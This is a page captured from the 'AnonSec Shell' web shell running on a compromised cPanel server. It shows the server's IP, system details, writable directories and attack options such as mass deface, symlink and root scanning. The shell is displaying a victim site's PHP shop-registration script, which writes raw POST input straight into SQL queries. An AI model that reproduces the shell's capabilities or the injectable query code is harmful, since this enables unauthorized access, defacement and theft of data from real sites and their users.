AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/include/ajax_regi_shop.php
<?php
	include('../include72/class.php');
	include("../include/mail.php");
	include('../include/fn_copfile.php');
	/*
	echo '<pre>';
	print_r($_POST);
	echo '</pre>';
	exit();
	*/
	

	$pass_random = $User_db->pass_random();
	$id = $runid_class->run_id('shop_runid');
	$ref = str_pad( $id , 4, "0", STR_PAD_LEFT);
	$codeshop = 'S'.$ref;
	$pass_md5 = $User_db->cus_pass($pass_random);
	$list = array(	
				'table'=>'shop',
				'id'=>"'".@$id."'",
				'codeshop'=>"'".@$codeshop."'",
				'idcard'=>"'".@$_POST['idcard']."'",
				'name'=>"'".@$_POST["name"]."'",
				'lastname'=>"'".@$_POST["lastname"]."'",
				'nameShop'=>"'".@$_POST["nameShop"]."'",
				'detail'=>"'".@$_POST["dtail"]."'",
				'phone'=>"'".@$_POST["phone"]."'",
				'email'=>"'".@$_POST["email"]."'",
				'web'=>"'".@$_POST["web"]."'",
				'facebook'=>"'".@$_POST["facebook"]."'",
				'twitter'=>"'".@$_POST["twitter"]."'",
				'ig'=>"'".@$_POST["ig"]."'",
				'lineid'=>"'".@$_POST["lineid"]."'",
				'address'=>"'".@$_POST["address"]."'",
				'province'=>"'".@$_POST["province"]."'",
				'payment'=>"'".@$_POST["payment"]."'",
				'receiveProducts'=>"'".@$_POST["receiveProducts"]."'",
				'status'=>'1',
				'status_op'=>'1',
				'status_url'=>'1',
				'activate'=>1,
				'package_id'=>1,
				'password'=>"'".$pass_md5."'",
				'createdate'=>"'".$date."'",
				'up_date'=>"'".$date."'"
			);
				  
	$add1 = $actiondata_db->add_db($list);

	if($add1['suc'] == 1)
	{
		$sql = array('table'=>'shop','where'=>"id = '". $id."'");
		$view_sql = $view_db->view($sql);
		$row = $view_db->q($view_sql);
		if(!file_exists('../shop/'.$row['codeshop']))
		{ 
			copydir("../shop/shop_main","../shop/".$row['codeshop']);	
			
			$strFileName = "../shop/".$row['codeshop']."/shop_config.php";
			$shop_id = $id;
			Writefile($strFileName,$shop_id);
			
			
			$body = 
				'<table width="100%" border="0">
					<tr>
						<td><img src="'.$domain.'/images/Logo.jpg" width="100" ></td>
						<td>'.$util_class->day_m_th($date).'</td>
					</tr>
					<tr>
						<td colspan="2">เรียนผู้ใช้บริการ</td>
					</tr>
					<tr>
						<td colspan="2">ทางระบบทำการยืนยันข้อมูล (Activate) เรียบร้อยแล้ว</td>
					</tr>
					<tr>
						<td colspan="2">ชื่อผู้ใช้งาน : '.$row['email'].'</td>
					</tr>
					<tr>
						<td  colspan="2">รหัสผ่าน : '. $pass_random . '</td>
					</tr>
					<tr>
						<td colspan="2">เป็นสมาชิกเว็บไซต์ '."<a href='http://www.simded.com'>http://www.simded.com</a>".' ขอบคุณที่ใช้บริการ</td>
					</tr>
				</table>
				<br><br>'
				.$contact;
				$body = $body;
				
				//exit;
				$mail->SetFrom($from, $from);
				$mail->AddReplyTo($from, $from);
				$mail->MsgHTML($body);
				$txt = $txtname. ' :: Username & Password ในการใช้งานshopกับเว็บไซต์';
				$mail->Subject = $txt;
				$mail->AddAddress($row['email']); // ผู้รับ
					
				if(!$mail->Send()) 
				{
					$_SESSION['er'] = 'false';
					echo "<br> Mailer Error: " . $mail->ErrorInfo;
					exit();
				}
					$sql = array('table'=>'setting_shop','count'=>'COUNT(id) AS countid','where'=>"id_shop = '". $id ."'");
					$view_sql = $view_db->view($sql);
					$row = $view_db->q($view_sql);	
					if($row['countid'] == 0)
					{
						$list = array(	
						'table'=>'setting_shop',
						'id_shop'=>"'".$id."'",
						'sort_ber'=>'"update_DESC"',
						'limits'=>"'30'",
						'hideber'=>'0',
						'bargain'=>'1',
						'analyzeber'=>'1',
						'analyzeberby'=>'0',
						'sortber_s'=>'1',	
						'createdate'=>"'".$date."'",
						'up_date'=>"'".$date."'",
						);
						$add = $actiondata_db->add_db($list);
					}	
					$sql = array('table'=>'prophecy','count'=>'COUNT(id) AS countid','where'=>"id_shop = '". $id."'");
					$view_sql = $view_db->view($sql);
					$row = $view_db->q($view_sql);
					if($row['countid'] == 0)
					{
						$list = array(	
							'table'=>'prophecy',
							'id_shop'=>"'".$id."'"
						);
						$add = $actiondata_db->add_db($list);
					}
					$sql = array('table'=>'prophecy_score','count'=>'COUNT(id) AS countid','where'=>"id_shop = '". $id."'");
					$view_sql = $view_db->view($sql);
					$row = $view_db->q($view_sql);	
					if($row['countid'] == 0)
					{
						$list = array(	
						'table'=>'prophecy_score',
						'id_shop'=>"'".$id."'"
						);
						$add = $actiondata_db->add_db($list);
					}
					
					$sql = array('table'=>'package_detail','count'=>'COUNT(id) AS countid','where'=>"id_shop = '". $id."'");
					$view_sql = $view_db->view($sql);
					$row = $view_db->q($view_sql);	
					if($row['countid'] == 0)
					{
						$sql_p = array('table'=>'package','where'=>"id = '1' ");
						$view_p = $view_db->view($sql_p);
						$row_p = $view_db->q($view_p);	
					
						$list = array(	
						'table'=>'package_detail',
						'id_shop'=>"'".$id."'",
						'package_id'=>'1',
						'name'=>"'".@$row_p["name"]."'",
						'bermax'=>"'".@$row_p["bermax"]."'",
						'predict_ber'=>"'".@$row_p["predict_ber"]."'",
						'predict_ber_limit'=>"'".@$row_p["predict_ber_limit"]."'",
						'predict_card'=>"'".@$row_p["predict_card"]."'",
						'predict_car'=>"'".@$row_p["predict_car"]."'",
						'predict_home'=>"'".@$row_p["predict_home"]."'",
						'sm_emai'=>"'".@$row_p["sm_emai"]."'",
						'sm_ber'=>"'".@$row_p["sm_ber"]."'",
						'sm_label'=>"'".@$row_p["sm_label"]."'",
						'sm_banner'=>"'".@$row_p["sm_banner"]."'",
						'promote'=>"'".@$row_p["promote"]."'",
						'domain'=>"'".@$row_p["domain"]."'",
						'pro_domain'=>"'".@$row_p["pro_domain"]."'",
						'banner_limit'=>"'".@$row_p["banner_limit"]."'",
						'promote_limit'=>"'".@$row_p["promote_limit"]."'",
						);
						$add = $actiondata_db->add_db($list);
					
					}		
			
		}
			//echo '../shop/register_true.php?s='.$add1['suc'];		
		?>
        <meta http-equiv="refresh" content="0;URL=<?php echo '../shop/register_true.php?s='.$add1['suc']; ?>">
        <?php	
	}	

Anon7 - 2022
AnonSec Team